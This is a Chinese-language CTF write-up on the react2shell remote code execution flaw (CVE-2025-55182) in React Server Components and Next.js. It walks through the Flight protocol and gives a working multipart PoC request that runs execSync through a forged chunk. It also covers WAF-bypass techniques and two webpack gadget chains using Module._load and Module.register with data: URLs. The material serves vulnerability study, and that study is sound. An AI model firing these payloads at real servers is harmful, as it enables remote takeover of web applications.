react2shell
Web(CVE-2025-55182-react2shell)
最近遇到一个CTF题再次看到了前端时间比较火的react2shell。 这个题目大概的意思是在next@16.0.6,react@19.0.3-xx版本去绕一个特别疯狂的关键词检测waf,虽然之前这个洞刚出的时候我也去简单审了一下这个洞,但是只有个大概的了解,刚好遇到这个题,就又花时间去学习啦一下。
1.SSR、RSC、ServerActions、Flight协议
在开始之前我们得先了解这个几个概念
SSR :React原本是一个前端框架,但为了SEO优化和提升首次渲染速度,开发者使用SSR技术将首次渲染放在后端执行,并将渲染后的HTML代码返回给浏览器。但此后浏览器需要下载所有组件代码和依赖库,通过Hydration过程重新执行组件逻辑来绑定交互功能,这导致JavaScript bundle过大,可交互时间很长。(纯前端)
RSC :React 18引入了React Server Components(React 19中稳定)。与传统SSR不同,ServerComponents的代码永远不会下载到浏览器 ——它们只在服务器执行,输出结果发送给客户端,不需要Hydration,这样可以使用庞大的依赖库(如数据库驱动)而不影响前端性能。(加了点后端的东西放一起了)
ServerActions :React 19以后引入,Server Actions允许开发者直接在组件中调用服务器端函数来修改数据,无需创建API端点。React会自动处理客户端-服务器通信、数据序列化和页面更新,大幅简化了表单提交和数据修改的开发流程。
RSC/Flight 是一种“在网络上传递 React 组件树信息”的协议,客户端用一个解码器把服务器返回的“帧”(frame)解析成可恢复的 React 结构,再进行局部更新和渲染。
响应类型:RSC 载荷的响应头是 content-type: text/x-component(又称 Flight payload)。
总的来说就是因为有了ServerActions之后前后端再次揉在一起从而导致了这个漏洞

2.Flight and multiple flight rows
现在看看他是怎么解析的

我们从图中可以看到这个请求和响应的格式跟我们平常使用的不太一样。
- 请求包的每个字段都是一个合法的JSON,JSON中可能会有一部分字段借用了Flight协议的语法,Next.js官方代码注释中称这种格式为multiple flight rows
- 返回包就是真的Flight协议流了,格式:
<ID>:<Type Code><Data>ID是一个数字编号,Type Code是数据类型,Data是数据(Type code也在源码当中存在,后面也会给出)。
这个函数就是它入口解析的地方:getServerActionRequestMetadata

a. getServerActionRequestMetadata
我们本地起一个环境之后就会在这打断点然后调试

然后慢慢往后走就会发现,进入Multiple Flight Rows的解析流程中,就需要isPossibleServerAction、isFetchAction、isMultipartAction三个都是true。也就是要POST方法,Next-Action头,Content-Type是multipart/form-data。
b. decodeReplyFromBusboy

我们到源码去看

用busboy这个解析库流式地解析用户的请求包,每解析出一个字段时就会触发“field”事件,并执行resolveField(response, name, value)方法。这是一个完全异步的过程,它的工作就是不断的解析请求包,并依次构建Chunk
Chunk实际上就是React解析multipart字段时的一个中间产物(也就是我们payload里面的每一层就是一个chunk),我们看看它具体长什么样:

然后我们得了解一个东西
c. Thenable(漏洞成因之一)
Thenable对象在await执行时,会执行它的then方法,直到其中的resolve()函数被执行才会返回。
d. parseModelString
这就是我们前面说的Type Data解析的地方,也就是我们payload没一块解析的地方

找了一个表,大概是这样:
基础类型
| 编码格式 | 类型 | 示例 | 解析结果 |
|---|---|---|---|
$$... | 转义字符串 | “$$hello” | “$hello” |
$undefined | undefined | “$undefined” | undefined |
$Infinity ($I) | 正无穷 | “$I” | Infinity |
$-Infinity | 负无穷 | “$-Infinity” | -Infinity |
$-0 | 负零 | “$-0” | -0 |
$NaN ($N) | NaN | “$N” | NaN |
$D... | Date | “$D2024-01-15T00:00:00.000Z” | new Date(…) |
$n... | BigInt | “$n12345678901234567890” | BigInt(“12345678901234567890”) |
引用类型
| 编码格式 | 类型 | 示例 | 解析方式 |
|---|---|---|---|
$<id> | Chunk 引用 | “$1”, “$a” | getOutlinedModel(id) - 获取另一个 chunk 的值 |
$@<id> | Promise | “$@1” | getChunk(id) - 返回 chunk 本身(类 Promise) |
$F<id> | Server Reference | “$F1” | loadServerReference() - 服务器函数引用 |
$T | Temporary Reference | “$T” | createTemporaryReference() - 临时引用 |
$Q<id> | Map | “$Q1” | getOutlinedModel(…, createMap) |
$W<id> | Set | “$W1” | getOutlinedModel(…, createSet) |
$K<id> | FormData | “$K1” | 从 backing store 重建 FormData |
$i<id> | Iterator | “$i1” | getOutlinedModel(…, extractIterator) |
二进制类型
| 编码格式 | 类型 | 字节/元素 |
|---|---|---|
$A<id> | ArrayBuffer | 1 |
$O<id> | Int8Array | 1 |
$o<id> | Uint8Array | 1 |
$U<id> | Uint8ClampedArray | 1 |
$S<id> | Int16Array | 2 |
$s<id> | Uint16Array | 2 |
$L<id> | Int32Array | 4 |
$l<id> | Uint32Array | 4 |
$G<id> | Float32Array | 4 |
$g<id> | Float64Array | 8 |
$M<id> | BigInt64Array | 8 |
$m<id> | BigUint64Array | 8 |
$V<id> | DataView | 1 |
$B<id> | Blob | - |
流类型
| 编码格式 | 类型 | 说明 |
|---|---|---|
$R<id> | ReadableStream | 通用流 |
$r<id> | ReadableStream (bytes) | 字节流 |
$X<id> | AsyncIterable | 异步迭代器 |
$x<id> | AsyncIterable (返回值) | 带返回值的异步迭代器 |
上面这些编码格式中的<id>就是其他Chunk的引用。
3.漏洞原理
a.poc
我们直接看看POC(网上随便扒了一个能打的)
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
这里很明显就是构造了一个我们前面说的chunk
b.引用
先看看上面介绍的这部分
| 编码格式 | 类型 | 示例 | 解析方式 |
|---|---|---|---|
$<id> | Chunk 引用 | “$1”, “$a” | getOutlinedModel(id) - 获取另一个 chunk 的值 |
$@<id> | Promise引用 | “$@1” | getChunk(id) - 返回 chunk 本身(类 Promise) |
所以我们的chunk2的"$@0"的时候就会返回chunk1本身,然后就把我们构造的这个chunk混进逻辑里面了,从而就造成了这个漏洞
c .payload怎么构造的?
我们看看这个payload:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
假的chunk必须是一个Thenable,所以得有then方法,这里直接随便引用另一个字段的then方法$1:then即可,status,resolved_model,reason这三个字段,我们可以从源码里面看,他们都是chunk需要的东西。
然后开始解析value这个字段,他是$B

这几行代码里面,id是1337,虽然可控但无法利用,prefix是response._prefix,response来自于当前Chunk的_response属性,完全可控,所以blobKey是可以前半部分可控的字符串。
response._formData.get因为也来自于当前Chunk的_response属性,也是完全可控的,所以最后这段代码实际上就可以变成可控函数名(可控字符串)。
我们只要让response._formData.get变成一个恶意函数,比如这里的Function函数。
在JavaScript中,某个对象的.constructor属性是这个对象的构造函数,而.constructor.constructor就是这个对象的构造函数的构造函数,而任何函数的构造函数都是Function。(也就是我们的原型链污染)
所以,$B1337的返回值最后被控制成chunk1.constructor.constructor('var res=process.mainModule.r........'),这是一个函数,将这个函数赋值给then属性后,在下一次resolve()的时候触发,最终完成任意代码执行。
漏洞原理这部分说的不是很详细.
4.bypass
然后就是后面的补丁和WAF的绕过方法了
大概的绕过方法:
比较有效的大概就,utf16le、双重unicode、缓冲区大小差异、请求分块传输、双boundary、waf和后端的解析差异(nodev20.x)等
https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f
https://www.leavesongs.com/PENETRATION/deep-dive-into-react2shell.html
等
5.Others trike
在Vercel的报告当中提到webpack
They did this by discovering a way to do property access and string manipulation using similar gadgets specific to the webpack modules in context for RSC parsing.

lachlan2k的github里面也有很有趣的POC
Webpack
Webpack 的模块系统包含以下顶层概念:
| 层级 | 说明 | 对应配置 |
|---|---|---|
| Entry | 构建入口 | entry |
| Output | 输出配置 | output |
| Module | 模块处理规则 | module.rules |
| Resolve | 模块解析策略 | resolve |
| Plugins | 扩展插件 | plugins |
入口模块 (Entry)
↓
解析依赖 (import/require)
↓
应用 Loaders 转换
↓
生成模块图 (Module Graph)
↓
Chunk 生成与优化
↓
输出 Bundle
在RSC使用webpack的时候,动态拦截构建,不会像SSR直接打包成静态代码。
RSC-webpack
React Server Components 需要在服务端拦截模块加载,实现以下功能
// react-server-dom-webpack 简化逻辑
const originalLoad = Module._load;
Module._load = function(request, parent, isMain) {
const module = originalLoad(request, parent, isMain);
// 检测 'use client' 指令
if (hasUseClientDirective(module)) {
// 不加载实际组件,返回 Client Reference 占位符
return createClientReference(request);
}
return module;
};
在react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js

拿出我们需关心的部分是:
const Module = require('module');
const originalLoad = Module._load;
Module._load = function(request, parent, isMain) {
const module = originalLoad(request, parent, isMain);
// 检查是否是客户端组件
if (typeof module === 'object' && module !== null) {
// 遍历导出,替换为 client references
const proxy = createClientModuleProxy(module);
return proxy;
}
return module;
};
比如Module._load(加载模块)架构如下:

| 场景 | Module._load |
|---|---|
| RSC 服务端运行时 | 可用,原生 Node.js 环境,Webpack 只构建不打包运行时 |
| SSR 打包后的代码 | 被替换,使用 __webpack_require__ |
| 浏览器环境 | 无 Node.js 模块系统 |
怎么利用呢(无constructor)
核心思路是一致的:利用
$FServer Reference 可以伪造_bundlerConfig,从而控制 webpack 加载任意 Node.js 内置模块的任意方法。
PATH-1
$F 与 loadServerReference
两种路径都依赖同一个入口:$F<id>(Server Reference 类型)。
在 parseModelString 中,遇到 $F 时会:
// ReactFlightReplyServer.js
case 0x46: // 'F'
id = parseInt(value.slice(2), 16);
const metadata = getOutlinedModel(response, id);
// metadata = { id: "...", bound: [...] }
return loadServerReference(
response._bundlerConfig,
metadata.id,
metadata.bound
);
然后进入 loadServerReference(位于 ReactFlightActionServer.js):
function loadServerReference(bundlerConfig, id, bound) {
const serverReference = resolveServerReference(bundlerConfig, id);
const preloadPromise = preloadModule(serverReference);
if (bound) {
return Promise.all([(bound), preloadPromise]).then(
([args]) => bindArgs(requireModule(serverReference), args),
);
} else {
return Promise.resolve(requireModule(serverReference));
}
}
function bindArgs(fn, args) {
return fn.bind.apply(fn, [null].concat(args));
// 等价于 fn.bind(null, ...args)
}
resolveServerReference:
# 分隔符
这是理解两种路径区别的关键。看源码(ReactFlightClientConfigBundlerWebpack.js):
function resolveServerReference(bundlerConfig, id) {
let name = '';
let resolvedModuleData = bundlerConfig[id]; // 先直接用 id 查
if (resolvedModuleData) {
// 直接命中,name 取 manifest 里的 name 字段
name = resolvedModuleData.name;
} else {
const idx = id.lastIndexOf('#');
if (idx !== -1) {
name = id.slice(idx + 1); // '#' 后面的部分作为 name
resolvedModuleData = bundlerConfig[id.slice(0, idx)]; // '#' 前面的部分作为 key 再查
}
if (!resolvedModuleData) {
throw new Error('Could not find the module "' + id + '" ...');
}
}
return [resolvedModuleData.id, resolvedModuleData.chunks, name];
}
这里存在 两种查找模式:
| 模式 | id 格式 | bundlerConfig 中的 key | name 来源 |
|---|---|---|---|
| 直接匹配 | "foo" | bundlerConfig["foo"] | resolvedModuleData.name |
# 分割 | "module#register" | bundlerConfig["module"] | id.slice(idx + 1) = "register" |
举个例子,如果 id 是 "module#register":
- 先查
bundlerConfig["module#register"]→ 没找到 - 按
#拆:key = "module",name = "register" - 查
bundlerConfig["module"]→ 命中 - 返回
[resolvedModuleData.id, resolvedModuleData.chunks, "register"]
这个 # 写法是 React Server Components 内部对"模块路径 + 导出名"的标准编码格式(模块路径#导出名)。当然不用 # 直接匹配也行,只要 _bundlerConfig 里能查到就行。
requireModule 最终加载
function requireModule(metadata) {
// metadata = [id, chunks, name]
let moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') return moduleExports;
if (metadata[NAME] === '') return moduleExports.__esModule ? moduleExports.default : moduleExports;
return moduleExports[metadata[NAME]];
}
在 RSC 服务端运行时(next dev --webpack),__webpack_require__ 最终会回退到 Node.js 原生的模块加载。__webpack_require__("module") 就是加载 Node.js 内置的 module 模块,拿到 Module 对象。
Webpack Trick 的根基就在这:在 RSC 的 webpack 上下文中,
__webpack_require__可以加载 Node.js 所有内置模块。
所以只要控制了 _bundlerConfig,就能控制 requireModule 去加载任意内置模块的任意导出——比如 Module._load,比如 Module.register。
Module._load 的利用
Module._load 是 Node.js 内部加载模块的核心函数,Module._load("child_process") 可以直接返回 child_process 模块对象。
__webpack_require__("module")["_load"] → Module._load
payload 的 _bundlerConfig 和 Server Reference 大概长这样:
// Server Reference 元数据
{ "id": "foo", "bound": ["child_process"] }
// _bundlerConfig (直接匹配模式)
{
"foo": { "id": "module", "name": "_load", "chunks": [] }
}
解析流程:bundlerConfig["foo"] 直接命中 → name = "_load" → 返回 ["module", [], "_load"]
然后 loadServerReference 处理 bound:
bindArgs(Module._load, ["child_process"])
// → Module._load.bind(null, "child_process")
调用时就相当于 Module._load("child_process"),返回 child_process 模块对象。
难点:拿到 child_process 之后怎么调 execSync?
Module._load("child_process") 只是返回了 child_process 对象,还需要调用 .execSync(cmd) 才能执行命令。但在 Flight 协议的链式 resolve 中,没有一个简单的方法把上一步的返回值传递到下一步并调用它的方法。
所以这条路需要用到一些比较 tricky 的 gadget:
Gadget 1:reason + Array.prototype.pop
Chunk.prototype.then 处理 resolved_model 时会用 chunk.reason.toString(16) 作为 chunk ID。把 reason 伪造成:
{
"0": "$B33", // child_process 对象
"length": 1,
"toString": "$2:pop" // → Array.prototype.pop
}
调用 reason.toString(16) 实际执行 Array.prototype.pop.call(reason),弹出 reason[0] 的值(child_process 对象)。
Gadget 2:_temporaryReferences + Array.prototype.push
通过 registerTemporaryReference 的调用把 child_process 存起来:
// 伪造的 _temporaryReferences
{ "length": 0, "set": "$2:push" } // → Array.prototype.push
_temporaryReferences.set(reason, ...) 变成 Array.prototype.push.call(_temporaryReferences, reason),把 child_process 对象 push 进去。后续用 $3:1:execSync 引用到 _temporaryReferences[1].execSync。
Gadget 3:Array.prototype.map 作为 then
在 resolve 链中做预加载:
{
"then": "$2:map", // → Array.prototype.map
"0": "$a",
"length": 1
}
resolve(value) 会调用 value.then(resolve),实际变成 Array.prototype.map.call(value, resolve),对 value[0] 触发 resolve,实现链式传递。
完整链路
$F → Module._load.bind(null, "child_process") → child_process 对象
↓ reason + Array.prototype.pop 取出
↓ _temporaryReferences + Array.prototype.push 存储
↓ $3:1:execSync 引用到 child_process.execSync
↓ $B 触发 execSync(cmd)
↓ 结果回显
这条链比较复杂,需要构造 11 个 chunk,还依赖 Array.prototype.pop、push、map 三个额外 gadget 做数据传递。但好处是 Module._load 在所有 Node.js 版本都存在,没有版本限制。
PATH-2(Nodejs v20.6+)
Module.register 是什么?
换一个角度——不去加载 child_process 对象再调方法了,直接找一个调一次就能执行任意代码的函数。
Module.register(specifier, parentURL) 是 Node.js v20.6.0 引入的 ESM Loader Hook 注册 API,用来注册自定义的 ESM 模块加载hook。
几个关键特性:
specifier参数支持data:URL,可以直接内联 JavaScript 代码- 注册时会自动加载指定的模块
- 如果模块导出了
initialize函数,会在注册时被自动调用
也就是说:
Module.register("data:text/javascript,export async function initialize(){ xxxxxxxx }", "")
这一行就能直接执行任意 JS 代码。不用再拿 child_process 对象、不用链式调 execSync——全在 initialize 里一步搞定。
payload 结构
这里用 # 分割:
// Server Reference
{
"id": "module#register",
"bound": [
"data:text/javascript,export async function initialize(){...xxxxxxxx...}",
""
]
}
// _bundlerConfig
{
"module": { "id": "module", "chunks": [], "name": "register" }
}
解析流程:"module#register" 查不到 → 按 # 拆 → key = "module", name = "register" → 命中 → 返回 ["module", [], "register"]
用直接匹配也行,比如
{ "id": "module", "bound": [...] }配上{ "module": { "id": "module", "name": "register", "chunks": [] } },效果一模一样。
然后 loadServerReference 拿到 Module.register 后,用 bound 绑定参数:
bindArgs(Module.register, ["data:text/javascript,...", ""])
// → Module.register.bind(null, "data:text/javascript,...", "")
这个函数成为 value 的 then 后,resolve 时引擎自动调用:
value.then(resolve, reject)
Module.register("data:text/javascript,...", "", resolve, reject)
initialize 里干了什么
export async function initialize() {
const e = await import("child_process");
const res = e.execSync("xxx").toString();
throw Object.assign(new Error('NEXT_REDIRECT'), { digest: `${res}` });
}
import("child_process")—— ESM 动态导入execSync(...)—— 命令执行throw NEXT_REDIRECT—— Next.js 对这种错误有特殊处理,回显
逐个拆解
Chunk 1(name=“1”)—— 入口:
"$@0"
$@0 返回 chunk 0 本身(不是值),chunk 0 有 then → Thenable → resolve 时自动调用 then。
Chunk 0(name=“0”)—— 伪造的 Fake Chunk:
{
"then": "$1:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$F3\"}",
"_response": {
"_chunks": "$Q2",
"_bundlerConfig": {
"module": { "id": "module", "chunks": [], "name": "register" }
}
}
}
| 字段 | 作用 |
|---|---|
then: "$1:then" | 借 chunk 1 的 then → Chunk.prototype.then,成为 Thenable |
status: "resolved_model" | 让 Chunk.prototype.then 走 initializeModelChunk 分支 |
reason: -1 | chunk ID,-1 不冲突 |
value | '{"then":"$F3"}',被 JSON.parse + reviveModel 处理 |
_response._chunks: "$Q2" | chunk 2 解析成 Map,后续 $F3 从中取 key=3 |
_response._bundlerConfig | 伪造的 bundler 配置,控制加载 Module.register |
Chunk 2(name=“2”)—— Map 数据:
[[3, {
"status": "fulfilled",
"value": {
"id": "module#register",
"bound": ["data:text/javascript,export async function initialize(){...xxxxxx...}", ""]
}
}]]
$Q2 解析成 Map { 3 => { status: "fulfilled", value: { id, bound } } }。$F3 从 Map 中取 key=3,拿到 id 和 bound。
执行流程
1. Root → chunk 1 = "$@0" → chunk 0 对象
2. resolve(chunk0) → 有 then → 调 chunk0.then(resolve, reject)
3. Chunk.prototype.then: status == "resolved_model" → initializeModelChunk
4. JSON.parse(value) → { then: "$F3" } → reviveModel 处理
5. parseModelString("$F3"):
getOutlinedModel(response, 3) → Map.get(3)
→ { id: "module#register", bound: ["data:...", ""] }
6. loadServerReference(_bundlerConfig, "module#register", bound):
resolveServerReference → "module#register" 拆分 → ["module", [], "register"]
requireModule → __webpack_require__("module")["register"] → Module.register
bindArgs → Module.register.bind(null, "data:...", "")
7. resolve({ then: boundFn }) → 自动调 then
→ Module.register("data:text/javascript,...", "")
8. initialize() 自动执行 → import("child_process") → execSync → throw NEXT_REDIRECT
9. digest 回显